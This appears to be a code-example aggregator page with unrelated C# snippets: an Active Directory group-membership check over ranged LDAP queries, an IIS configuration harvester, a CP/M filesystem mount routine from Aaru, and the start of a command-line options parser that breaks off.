            Int32        rangeLow      = 0;
            Int32        rangeHigh     = rangeLow + (rangeStep - 1);
            String       attributeWithRange;
            int          rangeMemberCount = 0;

            DateTime t0 = DateTime.Now;

            GroupPrincipal gp = GetSecurityGroupPrincipal(groupFullName);

            if (gp == null)
            {
                throw new Exception("Security Group not found: " + groupFullName);                         // shouldn't happen
            }
            if (Debug)
            {
                DebugLog.Message("GetSecurityGroupPrincipal " + groupFullName + ": " + (int)TimeOfDay.Delta(ref t0));
            }

            string            path        = "LDAP://" + gp.DistinguishedName;
            DirectoryEntry    groupDe     = new DirectoryEntry(path);
            DirectorySearcher groupSearch = new DirectorySearcher(groupDe);

            groupSearch.Filter = "(objectClass=*)";

            do
            {
                if (!isLastQuery)
                {
                    attributeWithRange = String.Format("member;range={0}-{1}", rangeLow, rangeHigh);
                }
                else
                {
                    attributeWithRange = String.Format("member;range={0}-*", rangeLow);
                }

                groupSearch.PropertiesToLoad.Clear();
                groupSearch.PropertiesToLoad.Add(attributeWithRange);

                searchResults = groupSearch.FindOne();
                groupSearch.Dispose();

                if (searchResults.Properties.Contains(attributeWithRange))
                {
                    rangeMemberCount = searchResults.Properties.Count;

                    if (searchResults.Properties[attributeWithRange].Contains(userDistinguishedName))
                    {
                        userFound = true;
                    }

                    if (isLastQuery)
                    {
                        exitLoop = true;
                    }
                }
                else
                {
                    isLastQuery = true;
                }

                if (!isLastQuery)
                {
                    rangeLow  = rangeHigh + 1;
                    rangeHigh = rangeLow + (rangeStep - 1);
                }
            }while (!(exitLoop | userFound));

            if (Debug)
            {
                DebugLog.Message("UserIsInGroup(" + userDistinguishedName + ", " + groupFullName + "): " + (int)TimeOfDay.Delta(ref t0));
            }

            return(userFound);
        }
Ejemplo n.º 31
0
        /// <summary>
        /// Harvest a web directory's properties.
        /// </summary>
        /// <param name="directoryEntry">The web directory directory entry.</param>
        /// <returns>The harvested web directory's properties.</returns>
        private IIs.WebDirProperties HarvestWebDirProperties(DirectoryEntry directoryEntry)
        {
            bool foundProperties = false;

            IIs.WebDirProperties webDirProperties = new IIs.WebDirProperties();

            // Cannot read properties for "iisadmin" site.
            if (String.Equals("iisadmin", directoryEntry.Name, StringComparison.OrdinalIgnoreCase) &&
                String.Equals("ROOT", directoryEntry.Parent.Name, StringComparison.OrdinalIgnoreCase))
            {
                return(null);
            }

            foreach (string propertyName in directoryEntry.Properties.PropertyNames)
            {
                PropertyValueCollection property       = directoryEntry.Properties[propertyName];
                PropertyValueCollection parentProperty = directoryEntry.Parent.Properties[propertyName];

                if (null == parentProperty.Value || parentProperty.Value.ToString() != property.Value.ToString())
                {
                    switch (propertyName)
                    {
                    case "AccessFlags":
                        int access = (int)property.Value;

                        if (0x1 == (access & 0x1))
                        {
                            webDirProperties.Read = IIs.YesNoType.yes;
                        }

                        if (0x2 == (access & 0x2))
                        {
                            webDirProperties.Write = IIs.YesNoType.yes;
                        }

                        if (0x4 == (access & 0x4))
                        {
                            webDirProperties.Execute = IIs.YesNoType.yes;
                        }

                        if (0x200 == (access & 0x200))
                        {
                            webDirProperties.Script = IIs.YesNoType.yes;
                        }

                        foundProperties = true;
                        break;

                    case "AuthFlags":
                        int authorization = (int)property.Value;

                        if (0x1 == (authorization & 0x1))
                        {
                            webDirProperties.AnonymousAccess = IIs.YesNoType.yes;
                        }

                        if (0x2 == (authorization & 0x2))
                        {
                            webDirProperties.BasicAuthentication = IIs.YesNoType.yes;
                        }

                        if (0x4 == (authorization & 0x4))
                        {
                            webDirProperties.WindowsAuthentication = IIs.YesNoType.yes;
                        }

                        if (0x10 == (authorization & 0x10))
                        {
                            webDirProperties.DigestAuthentication = IIs.YesNoType.yes;
                        }

                        if (0x40 == (authorization & 0x40))
                        {
                            webDirProperties.PassportAuthentication = IIs.YesNoType.yes;
                        }

                        foundProperties = true;
                        break;
                    }
                }
            }

            return(foundProperties ? webDirProperties : null);
        }
Ejemplo n.º 32
0
        /// <summary>
        /// Harvest a web site.
        /// </summary>
        /// <param name="webSiteEntry">The web site directory entry.</param>
        /// <returns>The harvested web site.</returns>
        private IIs.WebSite HarvestWebSite(DirectoryEntry webSiteEntry)
        {
            IIs.WebSite webSite = new IIs.WebSite();

            foreach (string propertyName in webSiteEntry.Properties.PropertyNames)
            {
                PropertyValueCollection property       = webSiteEntry.Properties[propertyName];
                PropertyValueCollection parentProperty = webSiteEntry.Parent.Properties[propertyName];

                if (null == parentProperty.Value || parentProperty.Value.ToString() != property.Value.ToString())
                {
                    switch (propertyName)
                    {
                    case "SecureBindings":
                        IIs.WebAddress secureWebAddress = this.HarvestBindings(propertyName, property);
                        if (null != secureWebAddress)
                        {
                            webSite.AddChild(secureWebAddress);
                        }
                        break;

                    case "ServerBindings":
                        IIs.WebAddress webAddress = this.HarvestBindings(propertyName, property);
                        if (null != webAddress)
                        {
                            webSite.AddChild(webAddress);
                        }
                        break;

                    case "ServerComment":
                        webSite.Description = (string)property.Value;
                        break;
                    }
                }
            }

            foreach (DirectoryEntry childEntry in webSiteEntry.Children)
            {
                switch (childEntry.SchemaClassName)
                {
                case "IIsFilters":
                    string loadOrder = (string)childEntry.Properties["FilterLoadOrder"].Value;
                    if (loadOrder.Length > 0)
                    {
                        string[] filterNames = loadOrder.Split(",".ToCharArray());

                        for (int i = 0; i < filterNames.Length; i++)
                        {
                            using (DirectoryEntry webFilterEntry = new DirectoryEntry(String.Concat(childEntry.Path, '/', filterNames[i])))
                            {
                                IIs.WebFilter webFilter = this.HarvestWebFilter(webFilterEntry);

                                webFilter.LoadOrder = (i + 1).ToString(CultureInfo.InvariantCulture);

                                webSite.AddChild(webFilter);
                            }
                        }
                    }
                    break;

                case "IIsWebDirectory":
                    this.HarvestWebDirectory(childEntry, webSite);
                    break;

                case "IIsWebVirtualDir":
                    foreach (string propertyName in childEntry.Properties.PropertyNames)
                    {
                        PropertyValueCollection property = childEntry.Properties[propertyName];

                        switch (propertyName)
                        {
                        case "Path":
                            webSite.Directory = (string)property.Value;
                            break;
                        }
                    }

                    IIs.WebDirProperties webDirProps = this.HarvestWebDirProperties(childEntry);
                    if (null != webDirProps)
                    {
                        webSite.AddChild(webDirProps);
                    }

                    foreach (DirectoryEntry child2Entry in childEntry.Children)
                    {
                        switch (child2Entry.SchemaClassName)
                        {
                        case "IIsWebDirectory":
                            this.HarvestWebDirectory(child2Entry, webSite);
                            break;

                        case "IIsWebVirtualDir":
                            this.HarvestWebVirtualDir(child2Entry, webSite);
                            break;
                        }
                    }
                    break;
                }
            }

            return(webSite);
        }
Ejemplo n.º 33
0
        public Errno Mount(IMediaImage imagePlugin, Partition partition, Encoding encoding,
                           Dictionary <string, string> options, string @namespace)
        {
            _device  = imagePlugin;
            Encoding = encoding ?? Encoding.GetEncoding("IBM437");

            options ??= GetDefaultOptions();

            if (options.TryGetValue("debug", out string debugString))
            {
                bool.TryParse(debugString, out _debug);
            }

            // As the identification is so complex, just call Identify() and relay on its findings
            if (!Identify(_device, partition) ||
                !_cpmFound ||
                _workingDefinition == null ||
                _dpb == null)
            {
                return(Errno.InvalidArgument);
            }

            // Build the software interleaving sector mask
            if (_workingDefinition.sides == 1)
            {
                _sectorMask = new int[_workingDefinition.side1.sectorIds.Length];

                for (int m = 0; m < _sectorMask.Length; m++)
                {
                    _sectorMask[m] = _workingDefinition.side1.sectorIds[m] - _workingDefinition.side1.sectorIds[0];
                }
            }
            else
            {
                // Head changes after every track
                if (string.Compare(_workingDefinition.order, "SIDES", StringComparison.InvariantCultureIgnoreCase) == 0)
                {
                    _sectorMask = new int[_workingDefinition.side1.sectorIds.Length +
                                          _workingDefinition.side2.sectorIds.Length];

                    for (int m = 0; m < _workingDefinition.side1.sectorIds.Length; m++)
                    {
                        _sectorMask[m] = _workingDefinition.side1.sectorIds[m] - _workingDefinition.side1.sectorIds[0];
                    }

                    // Skip first track (first side)
                    for (int m = 0; m < _workingDefinition.side2.sectorIds.Length; m++)
                    {
                        _sectorMask[m + _workingDefinition.side1.sectorIds.Length] =
                            _workingDefinition.side2.sectorIds[m] - _workingDefinition.side2.sectorIds[0] +
                            _workingDefinition.side1.sectorIds.Length;
                    }
                }

                // Head changes after whole side
                else if (string.Compare(_workingDefinition.order, "CYLINDERS",
                                        StringComparison.InvariantCultureIgnoreCase) == 0)
                {
                    for (int m = 0; m < _workingDefinition.side1.sectorIds.Length; m++)
                    {
                        _sectorMask[m] = _workingDefinition.side1.sectorIds[m] - _workingDefinition.side1.sectorIds[0];
                    }

                    // Skip first track (first side) and first track (second side)
                    for (int m = 0; m < _workingDefinition.side1.sectorIds.Length; m++)
                    {
                        _sectorMask[m + _workingDefinition.side1.sectorIds.Length] =
                            _workingDefinition.side1.sectorIds[m] - _workingDefinition.side1.sectorIds[0] +
                            _workingDefinition.side1.sectorIds.Length + _workingDefinition.side2.sectorIds.Length;
                    }

                    // TODO: Implement CYLINDERS ordering
                    AaruConsole.DebugWriteLine("CP/M Plugin", "CYLINDERS ordering not yet implemented.");

                    return(Errno.NotImplemented);
                }

                // TODO: Implement COLUMBIA ordering
                else if (string.Compare(_workingDefinition.order, "COLUMBIA",
                                        StringComparison.InvariantCultureIgnoreCase) == 0)
                {
                    AaruConsole.DebugWriteLine("CP/M Plugin",
                                               "Don't know how to handle COLUMBIA ordering, not proceeding with this definition.");

                    return(Errno.NotImplemented);
                }

                // TODO: Implement EAGLE ordering
                else if (string.Compare(_workingDefinition.order, "EAGLE",
                                        StringComparison.InvariantCultureIgnoreCase) == 0)
                {
                    AaruConsole.DebugWriteLine("CP/M Plugin",
                                               "Don't know how to handle EAGLE ordering, not proceeding with this definition.");

                    return(Errno.NotImplemented);
                }
                else
                {
                    AaruConsole.DebugWriteLine("CP/M Plugin",
                                               "Unknown order type \"{0}\", not proceeding with this definition.",
                                               _workingDefinition.order);

                    return(Errno.NotSupported);
                }
            }

            // Deinterleave whole volume
            Dictionary <ulong, byte[]> deinterleavedSectors = new Dictionary <ulong, byte[]>();

            if (_workingDefinition.sides == 1 ||
                string.Compare(_workingDefinition.order, "SIDES", StringComparison.InvariantCultureIgnoreCase) == 0)
            {
                AaruConsole.DebugWriteLine("CP/M Plugin", "Deinterleaving whole volume.");

                for (int p = 0; p <= (int)(partition.End - partition.Start); p++)
                {
                    byte[] readSector =
                        _device.ReadSector((ulong)((int)partition.Start +
                                                   (p / _sectorMask.Length * _sectorMask.Length) +
                                                   _sectorMask[p % _sectorMask.Length]));

                    if (_workingDefinition.complement)
                    {
                        for (int b = 0; b < readSector.Length; b++)
                        {
                            readSector[b] = (byte)(~readSector[b] & 0xFF);
                        }
                    }

                    deinterleavedSectors.Add((ulong)p, readSector);
                }
            }

            int   blockSize       = 128 << _dpb.bsh;
            var   blockMs         = new MemoryStream();
            ulong blockNo         = 0;
            int   sectorsPerBlock = 0;
            Dictionary <ulong, byte[]> allocationBlocks = new Dictionary <ulong, byte[]>();

            AaruConsole.DebugWriteLine("CP/M Plugin", "Creating allocation blocks.");

            // For each volume sector
            for (ulong a = 0; a < (ulong)deinterleavedSectors.Count; a++)
            {
                deinterleavedSectors.TryGetValue(a, out byte[] sector);

                // May it happen? Just in case, CP/M blocks are smaller than physical sectors
                if (sector.Length > blockSize)
                {
                    for (int i = 0; i < sector.Length / blockSize; i++)
                    {
                        byte[] tmp = new byte[blockSize];
                        Array.Copy(sector, blockSize * i, tmp, 0, blockSize);
                        allocationBlocks.Add(blockNo++, tmp);
                    }
                }

                // CP/M blocks are larger than physical sectors
                else if (sector.Length < blockSize)
                {
                    blockMs.Write(sector, 0, sector.Length);
                    sectorsPerBlock++;

                    if (sectorsPerBlock != blockSize / sector.Length)
                    {
                        continue;
                    }

                    allocationBlocks.Add(blockNo++, blockMs.ToArray());
                    sectorsPerBlock = 0;
                    blockMs         = new MemoryStream();
                }

                // CP/M blocks are same size than physical sectors
                else
                {
                    allocationBlocks.Add(blockNo++, sector);
                }
            }

            AaruConsole.DebugWriteLine("CP/M Plugin", "Reading directory.");

            int dirOff;
            int dirSectors = (_dpb.drm + 1) * 32 / _workingDefinition.bytesPerSector;

            if (_workingDefinition.sofs > 0)
            {
                dirOff = _workingDefinition.sofs;
            }
            else
            {
                dirOff = _workingDefinition.ofs * _workingDefinition.sectorsPerTrack;
            }

            // Read the whole directory blocks
            var dirMs = new MemoryStream();

            for (int d = 0; d < dirSectors; d++)
            {
                deinterleavedSectors.TryGetValue((ulong)(d + dirOff), out byte[] sector);
                dirMs.Write(sector, 0, sector.Length);
            }

            byte[] directory = dirMs.ToArray();

            if (directory == null)
            {
                return(Errno.InvalidArgument);
            }

            int    dirCnt = 0;
            string file1  = null;
            string file2  = null;
            string file3  = null;

            Dictionary <string, Dictionary <int, List <ushort> > > fileExtents =
                new Dictionary <string, Dictionary <int, List <ushort> > >();

            _statCache = new Dictionary <string, FileEntryInfo>();
            _cpmStat   = new FileSystemInfo();
            bool atime = false;

            _dirList           = new List <string>();
            _labelCreationDate = null;
            _labelUpdateDate   = null;
            _passwordCache     = new Dictionary <string, byte[]>();

            AaruConsole.DebugWriteLine("CP/M Plugin", "Traversing directory.");

            // For each directory entry
            for (int dOff = 0; dOff < directory.Length; dOff += 32)
            {
                // Describes a file (does not support PDOS entries with user >= 16, because they're identical to password entries
                if ((directory[dOff] & 0x7F) < 0x10)
                {
                    if (allocationBlocks.Count > 256)
                    {
                        DirectoryEntry16 entry =
                            Marshal.ByteArrayToStructureLittleEndian <DirectoryEntry16>(directory, dOff, 32);

                        bool hidden = (entry.statusUser & 0x80) == 0x80;
                        bool rdOnly = (entry.filename[0] & 0x80) == 0x80 || (entry.extension[0] & 0x80) == 0x80;
                        bool system = (entry.filename[1] & 0x80) == 0x80 || (entry.extension[2] & 0x80) == 0x80;

                        //bool backed = (entry.filename[3] & 0x80) == 0x80 || (entry.extension[3] & 0x80) == 0x80;
                        int user = entry.statusUser & 0x0F;

                        bool validEntry = true;

                        for (int i = 0; i < 8; i++)
                        {
                            entry.filename[i] &= 0x7F;
                            validEntry        &= entry.filename[i] >= 0x20;
                        }

                        for (int i = 0; i < 3; i++)
                        {
                            entry.extension[i] &= 0x7F;
                            validEntry         &= entry.extension[i] >= 0x20;
                        }

                        if (!validEntry)
                        {
                            continue;
                        }

                        string filename  = Encoding.ASCII.GetString(entry.filename).Trim();
                        string extension = Encoding.ASCII.GetString(entry.extension).Trim();

                        // If user is != 0, append user to name to have identical filenames
                        if (user > 0)
                        {
                            filename = $"{user:X1}:{filename}";
                        }

                        if (!string.IsNullOrEmpty(extension))
                        {
                            filename = filename + "." + extension;
                        }

                        filename = filename.Replace('/', '\u2215');

                        int entryNo = ((32 * entry.extentCounter) + entry.extentCounterHigh) / (_dpb.exm + 1);

                        // Do we have a stat for the file already?
                        if (_statCache.TryGetValue(filename, out FileEntryInfo fInfo))
                        {
                            _statCache.Remove(filename);
                        }
                        else
                        {
                            fInfo = new FileEntryInfo
                            {
                                Attributes = new FileAttributes()
                            }
                        };

                        // And any extent?
                        if (fileExtents.TryGetValue(filename, out Dictionary <int, List <ushort> > extentBlocks))
                        {
                            fileExtents.Remove(filename);
                        }
                        else
                        {
                            extentBlocks = new Dictionary <int, List <ushort> >();
                        }

                        // Do we already have this extent? Should never happen
                        if (extentBlocks.TryGetValue(entryNo, out List <ushort> blocks))
                        {
                            extentBlocks.Remove(entryNo);
                        }
                        else
                        {
                            blocks = new List <ushort>();
                        }

                        // Attributes
                        if (hidden)
                        {
                            fInfo.Attributes |= FileAttributes.Hidden;
                        }

                        if (rdOnly)
                        {
                            fInfo.Attributes |= FileAttributes.ReadOnly;
                        }

                        if (system)
                        {
                            fInfo.Attributes |= FileAttributes.System;
                        }

                        // Supposedly there is a value in the directory entry telling how many blocks are designated in
                        // this entry. However some implementations tend to do whatever they wish, but none will ever
                        // allocate block 0 for a file because that's where the directory resides.
                        // There is also a field telling how many bytes are used in the last block, but its meaning is
                        // non-standard so we must ignore it.
                        foreach (ushort blk in entry.allocations.Where(blk => !blocks.Contains(blk) && blk != 0))
                        {
                            blocks.Add(blk);
                        }

                        // Save the file
                        fInfo.UID = (ulong)user;
                        extentBlocks.Add(entryNo, blocks);
                        fileExtents.Add(filename, extentBlocks);
                        _statCache.Add(filename, fInfo);

                        // Add the file to the directory listing
                        if (!_dirList.Contains(filename))
                        {
                            _dirList.Add(filename);
                        }

                        // Count entries 3 by 3 for timestamps
                        switch (dirCnt % 3)
                        {
                        case 0:
                            file1 = filename;

                            break;

                        case 1:
                            file2 = filename;

                            break;

                        case 2:
                            file3 = filename;

                            break;
                        }

                        dirCnt++;
                    }
                    else
                    {
                        DirectoryEntry entry =
                            Marshal.ByteArrayToStructureLittleEndian <DirectoryEntry>(directory, dOff, 32);

                        bool hidden = (entry.statusUser & 0x80) == 0x80;
                        bool rdOnly = (entry.filename[0] & 0x80) == 0x80 || (entry.extension[0] & 0x80) == 0x80;
                        bool system = (entry.filename[1] & 0x80) == 0x80 || (entry.extension[2] & 0x80) == 0x80;

                        //bool backed = (entry.filename[3] & 0x80) == 0x80 || (entry.extension[3] & 0x80) == 0x80;
                        int user = entry.statusUser & 0x0F;

                        bool validEntry = true;

                        for (int i = 0; i < 8; i++)
                        {
                            entry.filename[i] &= 0x7F;
                            validEntry        &= entry.filename[i] >= 0x20;
                        }

                        for (int i = 0; i < 3; i++)
                        {
                            entry.extension[i] &= 0x7F;
                            validEntry         &= entry.extension[i] >= 0x20;
                        }

                        if (!validEntry)
                        {
                            continue;
                        }

                        string filename  = Encoding.ASCII.GetString(entry.filename).Trim();
                        string extension = Encoding.ASCII.GetString(entry.extension).Trim();

                        // If user is != 0, append user to name to have identical filenames
                        if (user > 0)
                        {
                            filename = $"{user:X1}:{filename}";
                        }

                        if (!string.IsNullOrEmpty(extension))
                        {
                            filename = filename + "." + extension;
                        }

                        filename = filename.Replace('/', '\u2215');

                        int entryNo = ((32 * entry.extentCounterHigh) + entry.extentCounter) / (_dpb.exm + 1);

                        // Do we have a stat for the file already?
                        if (_statCache.TryGetValue(filename, out FileEntryInfo fInfo))
                        {
                            _statCache.Remove(filename);
                        }
                        else
                        {
                            fInfo = new FileEntryInfo
                            {
                                Attributes = new FileAttributes()
                            }
                        };

                        // And any extent?
                        if (fileExtents.TryGetValue(filename, out Dictionary <int, List <ushort> > extentBlocks))
                        {
                            fileExtents.Remove(filename);
                        }
                        else
                        {
                            extentBlocks = new Dictionary <int, List <ushort> >();
                        }

                        // Do we already have this extent? Should never happen
                        if (extentBlocks.TryGetValue(entryNo, out List <ushort> blocks))
                        {
                            extentBlocks.Remove(entryNo);
                        }
                        else
                        {
                            blocks = new List <ushort>();
                        }

                        // Attributes
                        if (hidden)
                        {
                            fInfo.Attributes |= FileAttributes.Hidden;
                        }

                        if (rdOnly)
                        {
                            fInfo.Attributes |= FileAttributes.ReadOnly;
                        }

                        if (system)
                        {
                            fInfo.Attributes |= FileAttributes.System;
                        }

                        // Supposedly there is a value in the directory entry telling how many blocks are designated in
                        // this entry. However some implementations tend to do whatever they wish, but none will ever
                        // allocate block 0 for a file because that's where the directory resides.
                        // There is also a field telling how many bytes are used in the last block, but its meaning is
                        // non-standard so we must ignore it.
                        foreach (ushort blk in entry.allocations.Where(blk => !blocks.Contains(blk) && blk != 0))
                        {
                            blocks.Add(blk);
                        }

                        // Save the file
                        fInfo.UID = (ulong)user;
                        extentBlocks.Add(entryNo, blocks);
                        fileExtents.Add(filename, extentBlocks);
                        _statCache.Add(filename, fInfo);

                        // Add the file to the directory listing
                        if (!_dirList.Contains(filename))
                        {
                            _dirList.Add(filename);
                        }

                        // Count entries 3 by 3 for timestamps
                        switch (dirCnt % 3)
                        {
                        case 0:
                            file1 = filename;

                            break;

                        case 1:
                            file2 = filename;

                            break;

                        case 2:
                            file3 = filename;

                            break;
                        }

                        dirCnt++;
                    }
                }

                // A password entry (or a file entry in PDOS, but this does not handle that case)
                else if ((directory[dOff] & 0x7F) >= 0x10 &&
                         (directory[dOff] & 0x7F) < 0x20)
                {
                    PasswordEntry entry = Marshal.ByteArrayToStructureLittleEndian <PasswordEntry>(directory, dOff, 32);

                    int user = entry.userNumber & 0x0F;

                    for (int i = 0; i < 8; i++)
                    {
                        entry.filename[i] &= 0x7F;
                    }

                    for (int i = 0; i < 3; i++)
                    {
                        entry.extension[i] &= 0x7F;
                    }

                    string filename  = Encoding.ASCII.GetString(entry.filename).Trim();
                    string extension = Encoding.ASCII.GetString(entry.extension).Trim();

                    // If user is != 0, append user to name to have identical filenames
                    if (user > 0)
                    {
                        filename = $"{user:X1}:{filename}";
                    }

                    if (!string.IsNullOrEmpty(extension))
                    {
                        filename = filename + "." + extension;
                    }

                    filename = filename.Replace('/', '\u2215');

                    // Do not repeat passwords
                    if (_passwordCache.ContainsKey(filename))
                    {
                        _passwordCache.Remove(filename);
                    }

                    // Copy whole password entry
                    byte[] tmp = new byte[32];
                    Array.Copy(directory, dOff, tmp, 0, 32);
                    _passwordCache.Add(filename, tmp);

                    // Count entries 3 by 3 for timestamps
                    switch (dirCnt % 3)
                    {
                    case 0:
                        file1 = filename;

                        break;

                    case 1:
                        file2 = filename;

                        break;

                    case 2:
                        file3 = filename;

                        break;
                    }

                    dirCnt++;
                }

                // Volume label and password entry. Volume password is ignored.
                else
                {
                    switch (directory[dOff] & 0x7F)
                    {
                    case 0x20:
                        LabelEntry labelEntry =
                            Marshal.ByteArrayToStructureLittleEndian <LabelEntry>(directory, dOff, 32);

                        // The volume label defines if one of the fields in CP/M 3 timestamp is a creation or an
                        // access time
                        atime |= (labelEntry.flags & 0x40) == 0x40;

                        _label             = Encoding.ASCII.GetString(directory, dOff + 1, 11).Trim();
                        _labelCreationDate = new byte[4];
                        _labelUpdateDate   = new byte[4];
                        Array.Copy(directory, dOff + 24, _labelCreationDate, 0, 4);
                        Array.Copy(directory, dOff + 28, _labelUpdateDate, 0, 4);

                        // Count entries 3 by 3 for timestamps
                        switch (dirCnt % 3)
                        {
                        case 0:
                            file1 = null;

                            break;

                        case 1:
                            file2 = null;

                            break;

                        case 2:
                            file3 = null;

                            break;
                        }

                        dirCnt++;

                        break;

                    case 0x21:
                        if (directory[dOff + 10] == 0x00 &&
                            directory[dOff + 20] == 0x00 &&
                            directory[dOff + 30] == 0x00 &&
                            directory[dOff + 31] == 0x00)
                        {
                            DateEntry dateEntry =
                                Marshal.ByteArrayToStructureLittleEndian <DateEntry>(directory, dOff, 32);

                            FileEntryInfo fInfo;

                            // Entry contains timestamps for last 3 entries, whatever the kind they are.
                            if (!string.IsNullOrEmpty(file1))
                            {
                                if (_statCache.TryGetValue(file1, out fInfo))
                                {
                                    _statCache.Remove(file1);
                                }
                                else
                                {
                                    fInfo = new FileEntryInfo();
                                }

                                if (atime)
                                {
                                    fInfo.AccessTime = DateHandlers.CpmToDateTime(dateEntry.date1);
                                }
                                else
                                {
                                    fInfo.CreationTime = DateHandlers.CpmToDateTime(dateEntry.date1);
                                }

                                fInfo.LastWriteTime = DateHandlers.CpmToDateTime(dateEntry.date2);

                                _statCache.Add(file1, fInfo);
                            }

                            if (!string.IsNullOrEmpty(file2))
                            {
                                if (_statCache.TryGetValue(file2, out fInfo))
                                {
                                    _statCache.Remove(file2);
                                }
                                else
                                {
                                    fInfo = new FileEntryInfo();
                                }

                                if (atime)
                                {
                                    fInfo.AccessTime = DateHandlers.CpmToDateTime(dateEntry.date3);
                                }
                                else
                                {
                                    fInfo.CreationTime = DateHandlers.CpmToDateTime(dateEntry.date3);
                                }

                                fInfo.LastWriteTime = DateHandlers.CpmToDateTime(dateEntry.date4);

                                _statCache.Add(file2, fInfo);
                            }

                            if (!string.IsNullOrEmpty(file3))
                            {
                                if (_statCache.TryGetValue(file3, out fInfo))
                                {
                                    _statCache.Remove(file3);
                                }
                                else
                                {
                                    fInfo = new FileEntryInfo();
                                }

                                if (atime)
                                {
                                    fInfo.AccessTime = DateHandlers.CpmToDateTime(dateEntry.date5);
                                }
                                else
                                {
                                    fInfo.CreationTime = DateHandlers.CpmToDateTime(dateEntry.date5);
                                }

                                fInfo.LastWriteTime = DateHandlers.CpmToDateTime(dateEntry.date6);

                                _statCache.Add(file3, fInfo);
                            }

                            file1  = null;
                            file2  = null;
                            file3  = null;
                            dirCnt = 0;
                        }

                        // However, if this byte is 0, timestamp is in Z80DOS or DOS+ format
                        else if (directory[dOff + 1] == 0x00)
                        {
                            TrdPartyDateEntry trdPartyDateEntry =
                                Marshal.ByteArrayToStructureLittleEndian <TrdPartyDateEntry>(directory, dOff, 32);

                            FileEntryInfo fInfo;

                            // Entry contains timestamps for last 3 entries, whatever the kind they are.
                            if (!string.IsNullOrEmpty(file1))
                            {
                                if (_statCache.TryGetValue(file1, out fInfo))
                                {
                                    _statCache.Remove(file1);
                                }
                                else
                                {
                                    fInfo = new FileEntryInfo();
                                }

                                byte[] ctime = new byte[4];
                                ctime[0] = trdPartyDateEntry.create1[0];
                                ctime[1] = trdPartyDateEntry.create1[1];

                                fInfo.AccessTime    = DateHandlers.CpmToDateTime(trdPartyDateEntry.access1);
                                fInfo.CreationTime  = DateHandlers.CpmToDateTime(ctime);
                                fInfo.LastWriteTime = DateHandlers.CpmToDateTime(trdPartyDateEntry.modify1);

                                _statCache.Add(file1, fInfo);
                            }

                            if (!string.IsNullOrEmpty(file2))
                            {
                                if (_statCache.TryGetValue(file2, out fInfo))
                                {
                                    _statCache.Remove(file2);
                                }
                                else
                                {
                                    fInfo = new FileEntryInfo();
                                }

                                byte[] ctime = new byte[4];
                                ctime[0] = trdPartyDateEntry.create2[0];
                                ctime[1] = trdPartyDateEntry.create2[1];

                                fInfo.AccessTime    = DateHandlers.CpmToDateTime(trdPartyDateEntry.access2);
                                fInfo.CreationTime  = DateHandlers.CpmToDateTime(ctime);
                                fInfo.LastWriteTime = DateHandlers.CpmToDateTime(trdPartyDateEntry.modify2);

                                _statCache.Add(file2, fInfo);
                            }

                            if (!string.IsNullOrEmpty(file3))
                            {
                                if (_statCache.TryGetValue(file1, out fInfo))
                                {
                                    _statCache.Remove(file3);
                                }
                                else
                                {
                                    fInfo = new FileEntryInfo();
                                }

                                byte[] ctime = new byte[4];
                                ctime[0] = trdPartyDateEntry.create3[0];
                                ctime[1] = trdPartyDateEntry.create3[1];

                                fInfo.AccessTime    = DateHandlers.CpmToDateTime(trdPartyDateEntry.access3);
                                fInfo.CreationTime  = DateHandlers.CpmToDateTime(ctime);
                                fInfo.LastWriteTime = DateHandlers.CpmToDateTime(trdPartyDateEntry.modify3);

                                _statCache.Add(file3, fInfo);
                            }

                            file1  = null;
                            file2  = null;
                            file3  = null;
                            dirCnt = 0;
                        }

                        break;
                    }
                }
            }

            // Cache all files. As CP/M maximum volume size is 8 Mib
            // this should not be a problem
            AaruConsole.DebugWriteLine("CP/M Plugin", "Reading files.");
            long usedBlocks = 0;

            _fileCache = new Dictionary <string, byte[]>();

            foreach (string filename in _dirList)
            {
                var fileMs = new MemoryStream();

                if (_statCache.TryGetValue(filename, out FileEntryInfo fInfo))
                {
                    _statCache.Remove(filename);
                }

                fInfo.Blocks = 0;

                if (fileExtents.TryGetValue(filename, out Dictionary <int, List <ushort> > extents))
                {
                    for (int ex = 0; ex < extents.Count; ex++)
                    {
                        if (!extents.TryGetValue(ex, out List <ushort> alBlks))
                        {
                            continue;
                        }

                        foreach (ushort alBlk in alBlks)
                        {
                            allocationBlocks.TryGetValue(alBlk, out byte[] blk);
                            fileMs.Write(blk, 0, blk.Length);
                            fInfo.Blocks++;
                        }
                    }
                }

                // If you insist to call CP/M "extent based"
                fInfo.Attributes |= FileAttributes.Extents;
                fInfo.BlockSize   = blockSize;
                fInfo.Length      = fileMs.Length;
                _cpmStat.Files++;
                usedBlocks += fInfo.Blocks;

                _statCache.Add(filename, fInfo);
                _fileCache.Add(filename, fileMs.ToArray());
            }

            _decodedPasswordCache = new Dictionary <string, byte[]>();

            // For each stored password, store a decoded version of it
            if (_passwordCache.Count > 0)
            {
                foreach (KeyValuePair <string, byte[]> kvp in _passwordCache)
                {
                    byte[] tmp = new byte[8];
                    Array.Copy(kvp.Value, 16, tmp, 0, 8);

                    for (int t = 0; t < 8; t++)
                    {
                        tmp[t] ^= kvp.Value[13];
                    }

                    _decodedPasswordCache.Add(kvp.Key, tmp);
                }
            }

            // Generate statfs.
            _cpmStat.Blocks         = (ulong)(_dpb.dsm + 1);
            _cpmStat.FilenameLength = 11;
            _cpmStat.Files          = (ulong)_fileCache.Count;
            _cpmStat.FreeBlocks     = _cpmStat.Blocks - (ulong)usedBlocks;
            _cpmStat.PluginId       = Id;
            _cpmStat.Type           = "CP/M filesystem";

            // Generate XML info
            XmlFsType = new FileSystemType
            {
                Clusters              = _cpmStat.Blocks,
                ClusterSize           = (uint)blockSize,
                Files                 = (ulong)_fileCache.Count,
                FilesSpecified        = true,
                FreeClusters          = _cpmStat.FreeBlocks,
                FreeClustersSpecified = true,
                Type = "CP/M filesystem"
            };

            if (_labelCreationDate != null)
            {
                XmlFsType.CreationDate          = DateHandlers.CpmToDateTime(_labelCreationDate);
                XmlFsType.CreationDateSpecified = true;
            }

            if (_labelUpdateDate != null)
            {
                XmlFsType.ModificationDate          = DateHandlers.CpmToDateTime(_labelUpdateDate);
                XmlFsType.ModificationDateSpecified = true;
            }

            if (!string.IsNullOrEmpty(_label))
            {
                XmlFsType.VolumeName = _label;
            }

            _mounted = true;

            return(Errno.NoError);
        }
Ejemplo n.º 34
0
        static void Main(string[] args)
        {
            var stopWatch = Stopwatch.StartNew();

            //parse user options
            string username     = null;
            string password     = null;
            string domain       = null;
            string outputfile   = null;
            bool   ldapInSecure = false;
            bool   help         = false;
            bool   searchForest = false;
            int    computerDate = 0;
            string userobject   = null;
            string groupobject  = null;

            var options = new OptionSet()
            {
